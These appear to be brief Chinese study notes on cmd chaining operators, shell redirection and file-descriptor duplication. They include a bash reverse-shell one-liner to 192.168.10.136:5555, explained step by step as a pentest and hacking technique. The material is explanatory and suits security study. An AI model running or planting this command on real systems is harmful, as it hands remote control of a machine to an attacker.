cmd
& 和||前后的命令无论真假都全部执行
&&和|前命令为真,后命令才执行
反弹shell
bash -i >& /dev/tcp/192.168.10.136/5555 0>&1 这段代码是一个bash命令,用于在一个交互式的shell中执行命令。
bash -i 启动一个交互式的shell,即可以接受用户输入的shell
>& /dev/tcp/192.168.10.136/5555:将标准输出和标准错误重定向到一个TCP连接,连接的目标地址是192.168.10.136,端口号是5555。这意味着shell中执行的任何命令的输出都会发送到这个地址。
0>&1 将标准输入重定向到标准输出,即从TCP连接中读取输入。这意味着shell可以接受从这个地址发送过来的命令。
综上,这段代码的作用是创建一个反向shell,即在目标机器上运行一个shell,然后通过网络连接将其控制权交给攻击者。这是一种常见的渗透测试和黑客攻击的技术,可以让攻击者在目标机器上执行任意命令。
&>和>&含义相同都是:都是将标准错误输出和标准输出重定向
文件描述符的复制
格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符